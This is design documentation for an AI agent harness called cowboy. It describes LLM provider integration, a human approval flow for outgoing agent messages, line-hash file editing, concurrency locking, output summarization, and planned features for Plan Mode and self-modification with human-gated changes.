    fn parse_response(&self, body: &[u8]) -> Result<LlmResponse, ProviderError>;

    fn parse_error(&self, status: u16, body: &[u8]) -> ProviderError;
}
}

Message Model

Messages use string roles and structured ContentBlock vectors (not a Role enum or plain string content). This matches the Claude API's native content block model and supports text, tool_use, tool_result, and thinking blocks in a single message:

#![allow(unused)]
fn main() {
pub struct Message {
    pub role: String,           // "user", "assistant"
    pub content: Vec<ContentBlock>,
}

pub struct ContentBlock {
    pub block_type: String,     // "text", "tool_use", "tool_result", "thinking"
    pub text: Option<String>,
    pub thinking: Option<String>,
    pub id: Option<String>,
    pub tool_use_id: Option<String>,
    pub name: Option<String>,
    pub input: Option<Value>,
    pub is_error: Option<bool>,
}
}

Providers

ClaudeProvider

Targets Anthropic's Messages API (/v1/messages). Configuration is stored directly on the provider struct rather than passed per-request:

  • model: defaults to claude-sonnet-4-20250514
  • max_tokens: defaults to 8192
  • thinking_enabled / thinking_budget: extended thinking support (enabled by default, 10k token budget)

OpenAIProvider

Supports both Chat Completions API and Responses API. The provider auto-selects the Responses API for reasoning models (o1, o3, o4, gpt-5, codex) to capture reasoning summaries. Reasoning summaries are mapped to thinking content blocks for unified handling.

  • model: defaults to gpt-4o
  • base_url: configurable for compatible APIs
  • reasoning_effort: "low", "medium", or "high" for reasoning models

Request Flow in AgentHarness

send_to_llm() in llm.rs orchestrates the call:

  1. Acquires session lock (try_acquire_llm)
  2. Builds augmented system prompt with cached memories
  3. Converts internal Message to provider Message via build_api_messages()
  4. Calls format_request() on the active provider
  5. Issues web_request() with context cmd_ctx!("type" => "llm_request")

Response arrives via handle_llm_response() in handlers.rs:

  1. Releases LLM lock
  2. On non-200: calls parse_error() and pushes error as assistant message
  3. On 200: calls parse_response(), extracts tool calls via parse_tool_calls()
  4. If tool calls present: queues them and begins execution
  5. If no tool calls and running as subagent: auto-submits response
  6. If no tool calls and pub/sub reply pending: sends reply

Error Handling

ProviderError variants include ParseError, ApiError, NetworkError, RateLimited, Timeout, InvalidRequest, AuthenticationError, and Overloaded. Each error knows if it is retryable via is_retryable().

A RetryState struct provides exponential backoff (1s initial, 30s max, 3 attempts), but retry orchestration at the harness level is minimal -- failed LLM calls currently surface as error messages rather than being automatically retried.

Retryable errors: rate limits (429), network errors, server errors (5xx), timeouts. Non-retryable: auth errors (401/403), client errors (4xx), parse errors.

Context Correlation

Request context uses BTreeMap<String, String> (via the cmd_ctx! macro), not a typed enum. The "type" key distinguishes request kinds: "llm_request", "exa_search", "summarization", "compaction".

Nix Configuration

services.agent.llm = {
  provider = "claude";  # claude | openai | local
  model = "claude-sonnet-4-20250514";
  apiKeyPath = "/run/agenix/ai_key";  # ignored when secretsProxy.enable
};

When services.agent.secretsProxy.enable = true, the API key path is irrelevant -- the proxy handles credential injection.

Relevance to agent-pkgs

The provider abstraction is internal to cowboy. Bridge services in agent-pkgs (discord, email) interact with cowboy through the pub/sub source system, not through the LLM provider layer. Messages from bridge services arrive via poll_message_sources() and are processed as user input; responses flow back through send_pubsub_reply().

Status vs. Design Doc

The original design doc proposed:

  • A synchronous-looking complete() method -- not implemented; the actual trait uses format_request() / parse_response() split
  • RequestConfig struct passed per-call -- not implemented; config lives on provider structs
  • Role enum for messages -- not implemented; string roles with Vec<ContentBlock>
  • ApiState state machine with pending_requests HashMap -- not implemented; context correlation uses BTreeMap via Zellij events
  • LlmClient wrapper -- not implemented
  • Elaborate retry scheduling in the harness update loop -- partially implemented (RetryState exists, but auto-retry on LLM calls is not wired up)

Implemented but not in original design:

  • Extended thinking support (Claude and OpenAI reasoning summaries)
  • OpenAI Responses API for reasoning models
  • Tool use as first-class content blocks
  • Summarization pipeline using a separate LLM call
  • Session locking around LLM calls
  • Memory augmentation of system prompts
  • [[Security]] -- Secrets proxy and credential injection
  • [[Context Engineering]] -- Prompt caching and token budget
  • [[Nix Integration]] -- Provider configuration via Nix modules

title: Outbox Approval Protocol tags: [security, pubsub, approval, discord, email] library: cowboy

Outbox Approval Protocol

Cross-service approval flow for broker-owned outbox services. Any outbox service can hold messages for manual approval before sending. Approval notifications and responses route through a configurable channel (default: Discord).

This protocol is implemented in cowboy's agent-bridge package. Bridge services in agent-pkgs consume it without needing to know how approval works internally.

Related: [[Security]]

Flow

              Agent (${cfg.name}-ns)                 Broker services (host namespace)
              ──────────────────────                 ───────────────────────────────

1. Agent composes email
   |
   +-- XADD email:outbox
   |   channel_id: alice@example.com
   |   subject: "Re: meeting"
   |   content: "Sounds good..."
   |
   |                                          2. ${cfg.name}-email-outbox reads stream
   |                                             OutboxService.run() sees
   |                                               approval_required = true
   |                                             |
   |                                             +-- request_approval():
   |                                             |   HSET approval:{uuid}
   |                                             |     status: pending
   |                                             |     source: email
   |                                             |     channel_id: alice@example.com
   |                                             |     content_preview: "Sounds good..."
   |                                             |
   |                                             +-- XADD discord:outbox
   |                                             |     channel_id: {notify_channel}
   |                                             |     content: "Approval needed [email]
   |                                             |               To: alice@example.com
   |                                             |               Preview: Sounds good...
   |                                             |               React to approve/reject"
   |                                             |     approval_id: {uuid}
   |                                             |
   |                                          3. ${cfg.name}-discord-outbox reads stream
   |                                             OutboxService.send() posts to Discord
   |                                             |
   |                                             +-- gets discord_message_id from API
   |                                             +-- sees approval_id in message fields
   |                                             +-- auto-tracks: HSET approval:discord_map
   |                                             |     {discord_msg_id} -> {uuid}
   |                                             |     (handled by base class via
   |                                             |      SendResult.external_id)
   |                                             |
   |                                          4. broker sees message in Discord,
   |                                             reacts with checkmark
   |                                             |
   |                                          5. ${cfg.name}-discord-ingest handles
   |                                             on_raw_reaction_add
   |                                             |
   |                                             +-- calls OutboxService.resolve_approval()
   |                                             |   HGET approval:discord_map {msg_id}
   |                                             |     -> finds {uuid}
   |                                             |   maps emoji -> approved/rejected
   |                                             |   HSET approval:{uuid}
   |                                             |     status: approved
   |                                             |     approver: dylan
   |                                             |
   |                                          6. email-outbox was polling via
   |                                             wait_for_approval()
   |                                             sees status: approved
   |                                             |
   |                                             +-- OutboxService.send()
   |                                             +-- build MIME, DKIM-sign, SMTP send
   |                                             +-- XACK email:outbox
   |                                             +-- HDEL approval:{uuid}

State Machine

Approval state lives in Redis hashes (not streams). Simple key-value, pollable by any service.

approval:{uuid} = {
  status:          pending | approved | rejected | expired
  source:          email | slack | ...
  channel_id:      destination (email address, slack channel, etc.)
  content_preview: first 200 chars of message body
  created_at:      unix timestamp
  approver:        user who approved/rejected (set on resolution)
}

Transitions:

pending --+-- approve reaction --> approved --> send + cleanup
          +-- reject reaction  --> rejected --> discard + notify agent
          +-- timeout          --> expired  --> discard + notify agent

Implementation: cowboy's agent-bridge

The approval protocol is fully implemented in OutboxService (pkgs/agent-bridge/agent_bridge/base.py).

Requesting approval

async def request_approval(self, msg: OutboxMessage) -> bool:
    approval_id = str(uuid4())
    self.redis.hset(f"approval:{approval_id}", mapping={
        "status": "pending",
        "source": self.source,
        "channel_id": msg.channel_id,
        "content_preview": msg.content[:200],
        "created_at": str(int(time.time())),
    })
    self.redis.xadd(f"{self.approval_notify}:outbox", {
        "channel_id": self.approval_notify_channel,
        "content": f"Approval needed [{self.source}]: ...",
        "approval_id": approval_id,
    })
    return await self.wait_for_approval(approval_id)

Waiting for resolution

async def wait_for_approval(self, approval_id: str) -> bool:
    deadline = time.time() + self.approval_timeout
    while time.time() < deadline:
        status = self.redis.hget(f"approval:{approval_id}", "status")
        if status == "approved":
            self.redis.delete(f"approval:{approval_id}")
            return True
        if status in ("rejected", "expired"):
            self.redis.delete(f"approval:{approval_id}")
            return False
        await asyncio.sleep(2)
    # Timeout -> mark expired, clean up
    self.redis.hset(f"approval:{approval_id}", "status", "expired")
    self.redis.delete(f"approval:{approval_id}")
    return False

Resolving approval (static, called by ingest services)

@staticmethod
def resolve_approval(r, source, external_id, status, approver=""):
    map_key = f"approval:{source}_map"
    approval_id = r.hget(map_key, external_id)
    if not approval_id:
        return False
    r.hset(f"approval:{approval_id}", mapping={
        "status": status, "approver": approver,
    })
    r.hdel(map_key, external_id)
    return True

Auto-tracking in the main loop

The run() method handles the notification-tracking handshake automatically:

async def run(self):
    while True:
        messages = self.read_batch()
        for msg in messages:
            # Messages WITH approval_id are system notifications --
            # skip approval for these (they ARE the approval request)
            if self.approval_required and not msg.approval_id:
                approved = await self.request_approval(msg)
                if not approved:
                    self.ack(msg)
                    continue

            result = await self.send(msg)
            if result.ok:
                # Auto-track: if this was a notification with approval_id
                # and send() returned an external_id, store the mapping
                if msg.approval_id and result.external_id:
                    self.redis.hset(
                        f"approval:{self.source}_map",
                        result.external_id,
                        msg.approval_id,
                    )
                self.ack(msg)

This means bridge service authors (agent-pkgs) only need to:

  1. Return SendResult(ok=True, external_id=str(sent_message.id)) from send()
  2. Call OutboxService.resolve_approval() in their ingest handler when a reaction/reply arrives

Package Responsibilities

ConcernPackageLibrary
request_approval(), wait_for_approval()agent-bridgecowboy
resolve_approval() (static)agent-bridgecowboy
Approval hash schemaagent-bridgecowboy
run() loop with auto-trackingagent-bridgecowboy
approval:discord_map managementdiscord-service ingestagent-pkgs
on_raw_reaction_add handlerdiscord-service ingestagent-pkgs
Return external_id from send()discord-service outboxagent-pkgs
DKIM sign + SMTP send after approvalemail-service outboxagent-pkgs

Redis Keys

approval:{uuid}              # HASH -- approval state (bridge-owned schema)
approval:{source}_map        # HASH -- external_msg_id -> approval_id (per-service)

Bridge writes approval:{uuid} with status: pending. Notification service stores mapping in approval:{source}_map. Ingest service resolves by writing status: approved/rejected. Requesting service polls until resolved.

Discord doesn't know about email. Email doesn't know about Discord. They share only the approval:{uuid} hash key format.

Nix Configuration

Approval options are part of the bridge declaration (nix/agents/bridges.nix):

services.agent.bridges.<name>.approval = {
  required = false;           # hold for manual approval?
  notify = "discord";         # which outbox to route approval requests to
  notify_channel = "...";     # channel ID within that outbox
  timeout = 3600;             # auto-reject after N seconds
};

These flow into sources.json via pubsub.nix and are loaded by OutboxService.__init__() via load_config().

Adding a New Approval Channel

To use something other than Discord for approval responses (e.g. Slack, Telegram):

  1. The new service's outbox returns external_id from send() (auto-tracked by base class)
  2. The new service's ingest calls OutboxService.resolve_approval(r, source, ext_id, status, approver)
  3. Set approval.notify = "{service}" in the bridge config
  4. No changes needed to agent-bridge or the requesting service

This is a property of the two-library split: cowboy defines the protocol, agent-pkgs implements the per-platform details.

Hashline Edit Format

Line-hash-referenced file editing in the cowboy WASM plugin. Each line gets a 2-character hex hash (FNV-1a truncated to 8 bits) enabling reliable change detection and edit rejection when files have been modified since last read.

Status

Fully implemented in src/hashline.rs. Integrated as built-in tools (__HASHLINE_READ__, __HASHLINE_EDIT__) with handlers in handlers.rs.

Format

Lines are formatted as {line_num}:{hash}|{content}:

1:a3|fn main() {
2:7f|    println!("hello");
3:b2|}

Hash Function

FNV-1a with offset basis 2166136261 and prime 16777619, truncated to lowest byte (hash & 0xff), formatted as 2-char lowercase hex. Deterministic and fast. 256 possible values -- sufficient for change detection, not collision resistance.

Operations

Four edit actions, all referencing lines by line:hash pairs:

  • replace: Replace line(s) from start to optional end with new content
  • insert_before: Insert content before the referenced line
  • insert_after: Insert content after the referenced line
  • delete: Delete line(s) from start to optional end

All line references are validated before any changes are applied. On hash mismatch, the entire edit is rejected with a descriptive error asking the agent to re-read the file.

Operations are sorted in reverse line order before application to preserve line indices.

Additional Features

  • read_range_with_hashlines(): Read a specific line range with context lines above/below
  • format_hashline_with_comment(): Format hashes as inline comments for display, with language-aware comment markers (supports 20+ languages)
  • rolling_hash(): Cross-line hash for detecting multi-line changes
  • JSON schema helpers for tool definitions (hashline_read_schema(), hashline_edit_schema())
  • parse_edit_operations(): Accepts both operations and edits keys, and both content and new_text keys
  • Atomic writes via temp file + rename

Integration

The harness registers these as built-in tools during initialization. handle_hashline_read() dispatches a sandboxed cat command, then formats the result with hashlines in handle_hashline_read_result(). handle_hashline_edit() calls apply_edits() directly and returns a hashline preview of the edited file.

Concurrency Locking

Session-level locking in the cowboy WASM plugin to prevent race conditions during LLM requests, tool execution, and summarization.

Status

Fully implemented in src/lock.rs. Integrated into the harness main loop, input handling, LLM dispatch, and tool result processing.

Design

Steering does NOT interrupt tool calls. User input queues and processes after the current tool completes. Summarization is gated like the Thinking state. Tool results are matched by unique call_id, not tool_name.

Core Types

SessionLock

Tracks all concurrency state for a session:

  • llm_active / llm_request_id -- whether an LLM request is in flight, with generation-counter IDs to detect stale responses
  • summarizing -- whether a summarization call is active (gates user input)
  • active_tools: HashMap<String, ActiveToolState> -- tool executions tracked by unique call_id
  • input_queue: VecDeque<QueuedInput> -- queued user inputs waiting to be processed
  • queue_mode: QueueMode -- current queuing strategy
  • generation: u64 -- monotonic counter incremented on each LLM acquire

QueueMode

Three modes for handling user input that arrives while the session is locked:

  • Collect (default): Coalesce multiple inputs into a single message
  • Followup: Process one input at a time after unlock
  • Steer: Inject input at the next tool boundary (between tool calls)

ActiveToolState

Per-tool tracking with call_id, tool_name, started_at, and timeout. Supports timeout detection via check_timeouts().

Integration Points

  1. Input handling (input.rs): When session_lock.is_locked(), user input is queued instead of processed immediately
  2. LLM dispatch (llm.rs): try_acquire_llm() prevents concurrent LLM requests
  3. Tool execution (harness.rs): register_tool() on dispatch, complete_tool() on result
  4. Boundary detection (harness.rs): After tool completion, boundary_reached() checks if queued input should be injected
  5. Summarization gating (handlers.rs): set_summarizing(true/false) gates input during summarization API calls
  6. Status display (harness.rs): Lock state shown in the status bar with queued input count

Key Behaviors

  • is_locked() returns true if any of: LLM active, tools active, summarization active
  • at_tool_boundary() returns true only when all three are inactive
  • drain_ready_inputs() respects the current QueueMode
  • Stale LLM responses are rejected via request ID matching
  • Timed-out tools are automatically cleaned up on heartbeat ticks

Result Summarization

Intelligent summarization of large tool outputs in the cowboy WASM plugin. Uses a cheap model (Haiku/GPT-4.1-mini) instead of blunt truncation, with type-aware prompts and fallback truncation.

Status

Fully implemented in src/summarize.rs. Integrated into the harness tool result pipeline and connected to the session lock for input gating during summarization.

Thresholds

  • DEFAULT_SUMMARIZE_THRESHOLD: 1500 characters (triggers summarization)
  • MAX_SUMMARY_LENGTH: 800 characters
  • MAX_SUMMARIZABLE_LENGTH: 50000 characters (caps input to summarization model)

Providers

Supports both Anthropic and OpenAI for summarization:

  • Anthropic: claude-haiku-4-5-20251001 via Messages API
  • OpenAI: gpt-4.1-mini via Chat Completions API

Provider is configurable independently of the main LLM provider. Falls back to main provider if no explicit summary provider is set.

Tool Output Types

Six categories with type-specific summarization prompts and truncation ratios:

TypeTool NamesHead RatioPrompt Focus
FileContentread, cat0.7Structure, hashlines for relevant section
SearchResultsgrep, rg, search0.5File paths with line numbers, grouped
DirectoryListingls, find, fd0.3Grouped by type, key files
CommandOutputbash, sh0.6Preserve errors verbatim
StructuredDatanix-search, gh0.5Names, versions, key fields
WebContentweb-search, web-fetch0.5Main facts, relevant quotes

Code File Handling

For FileContent, the summarization request is sectioned:

  • Before section: lines above the relevant range (summarized)
  • Relevant section: formatted with hashlines (preserved exactly)
  • After section: lines below the relevant range (summarized)

Default relevant range is the middle third of the file.

Pipeline

  1. Tool result arrives in handle_command_result()
  2. Full output is always logged to session JSONL (no truncation)
  3. If summarizer.needs_summarization() returns true:
    • Create PendingSummary with full output and type
    • Format API request via summarizer.format_request()
    • Set session_lock.set_summarizing(true) (gates user input)
    • Fire web request to summarization API
  4. On response in handle_summarization_response():
    • Release summarization lock
    • Parse provider-specific response
    • On failure: fallback_truncate() with type-aware head/tail ratio
    • Add summarized result to conversation context

Fallback Truncation

When summarization API is unavailable, fallback_truncate() uses smart head/tail splitting:

  • Respects line boundaries
  • Uses type-specific head ratios (e.g., 70% head for code, 30% for directory listings)
  • Inserts [...N chars omitted...] marker
  • Safe for UTF-8 (truncates at char boundaries)

title: Plan Mode tags: [plan, mode, readonly, approval] library: cowboy status: future

Plan Mode

Plan Mode is a proposed read-only sub-agent configuration that enables deliberate exploration before committing to actions. Not yet implemented in cowboy.

Concept

A constrained execution mode where the agent:

  • Cannot modify state: all write operations disabled
  • Produces artifacts: conscious.md (thinking log) and response.md (structured plan)
  • Requires approval: plans must be explicitly approved before transitioning to execution
  • Links to memory: integrates with zk zettelkasten via wikilinks

Relationship to Existing Sub-Agent System

Cowboy already implements sub-agents via the spawn_subagent tool in nix/tools.nix with three types:

TypeAccessCurrent Implementation
researchread-only + webImplemented
coderead + writeImplemented
reviewread + testsImplemented

Plan Mode would be a fourth sub-agent type with approval gates, or a mode flag that restricts the main agent to research-level tools before unlocking full access.

Tool Restrictions

Allowed (Read-Only)

ToolPurpose
readView file contents
searchSearch within files
findFind files by name
lsList directory contents
web-searchQuery web via Exa AI

Blocked

ToolReason
writeModifies filesystem
bashArbitrary mutations
home-switchSystem changes
spawn_subagent (code type)Write access

Output Artifacts

conscious.md

Stream of consciousness during planning. Preserved as memory for future sessions.

response.md

Structured, actionable plan:

# Plan: <title>

## Summary
Brief description.

## Steps
1. **Action** - Description
2. **Action** - Description

## Files Affected
- path/to/file.nix

## Risks
- Breaking change to X

Approval Workflow

User Request -> Plan Mode (read-only) -> conscious.md + response.md
  -> Review -> Approved -> Execution Mode (full tools)
           -> Rejected -> Iterate in Plan Mode
           -> Partial  -> Approve subset of steps

Integration with cowboy

Where it fits in the two-library split

Plan Mode is a cowboy feature (platform concern, not bridge-specific):

  • Mode flag in the harness WASM plugin state
  • Tool restriction enforcement in tools.rs
  • Approval state machine in handlers.rs
  • Nix configuration in services.agent.planMode

Proposed Nix options

services.agent.planMode = {
  requireForDestructive = true;   # always plan before home-switch, write to system files
  autoApproveThreshold = 3;       # auto-approve plans with <= N steps
  timeoutSeconds = 300;
};

Configurable agent name

Plan mode artifacts would live at ${cfg.homeDirectory}/plans/ with the agent name in metadata.

Prerequisites

Before implementing Plan Mode:

  1. zk memory system -- for wikilink integration and plan persistence
  2. Context manager -- for session state tracking across mode transitions
  3. Tool restriction enforcement in Rust -- currently tools are defined in Nix but restrictions aren't enforced per-mode in the harness

Why Future (Not Implemented)

The sub-agent system already provides a research (read-only) mode. Plan Mode adds:

  • Formal approval workflow with states (pending/approved/rejected/partial)
  • CLI commands (agent plan show, agent plan approve)
  • Automatic plan generation with structured output format
  • Mode transition tracking

These require harness-level Rust changes that haven't been started.

Self-Modification

Design for cowboy agents to modify their own configuration at ~/.config/agent/flake.nix, with safe rollback and PR-gated approval for dangerous changes.

Status

Not implemented. No agent-switch script, generation directory management, config flake self-modification, or PR-gated approval workflow exists in the codebase. The heartbeat mechanism exists in the WASM plugin but serves a different purpose (Zellij timer events for polling).

Concept

The agent maintains a Nix flake as its own configuration. Changes are categorized by risk:

Freely Modifiable (no approval)

  • Tools: Add, remove, or update tool definitions
  • Skills: Modify skill definitions and prompts
  • Scheduled tasks: Add cron-like operations within agent scope
  • Working memory/state: Agent state files

PR-Gated (requires human approval)

  • Permissions: Network access, filesystem paths, execution capabilities
  • Filters: Block patterns, allowed hosts, file size limits
  • Core config: Model selection, API endpoints, heartbeat interval, generation depth
  • System services: Systemd unit changes

Safe Switch Workflow

  1. Agent prepares new configuration
  2. Snapshot current generation to ~/.local/share/agent/generations/
  3. Start heartbeat monitor with 60-second timeout
  4. Apply new config via home-manager switch --flake
  5. Run health check (tools available, skills loaded, filters active)
  6. Send heartbeat confirmation
  7. If no heartbeat within 60s: automatic rollback to previous generation

Configuration Inheritance

The agent's flake inherits security-critical settings from the parent cowboy repository. These cannot be overridden locally:

inherit (parent-config.agentConfig)
  permissions
  filters
  core
  ;

Generation Management

Each config change creates a timestamped generation in ~/.local/share/agent/generations/ with metadata tracking the parent generation, change type, trigger, and confirmation status. Generations are garbage-collected based on configurable retention (keep last N, keep N days, always keep confirmed).

Audit Logging

All switches logged to ~/.local/share/agent/audit.log as structured JSON with events: switch_initiated, switch_confirmed, switch_rolled_back, switch_failed, generation_created/deleted, pr_submitted/approved/rejected.

Rate Limiting

To prevent configuration churn: max 10 switches/hour, 50/day, minimum 60 seconds between switches.

Prerequisites

Implementing this requires:

  • A cowboy NixOS module that provisions the agent flake structure
  • Integration with the existing agent-bridge for PR creation
  • A health check protocol in the WASM plugin
  • Generation directory management tooling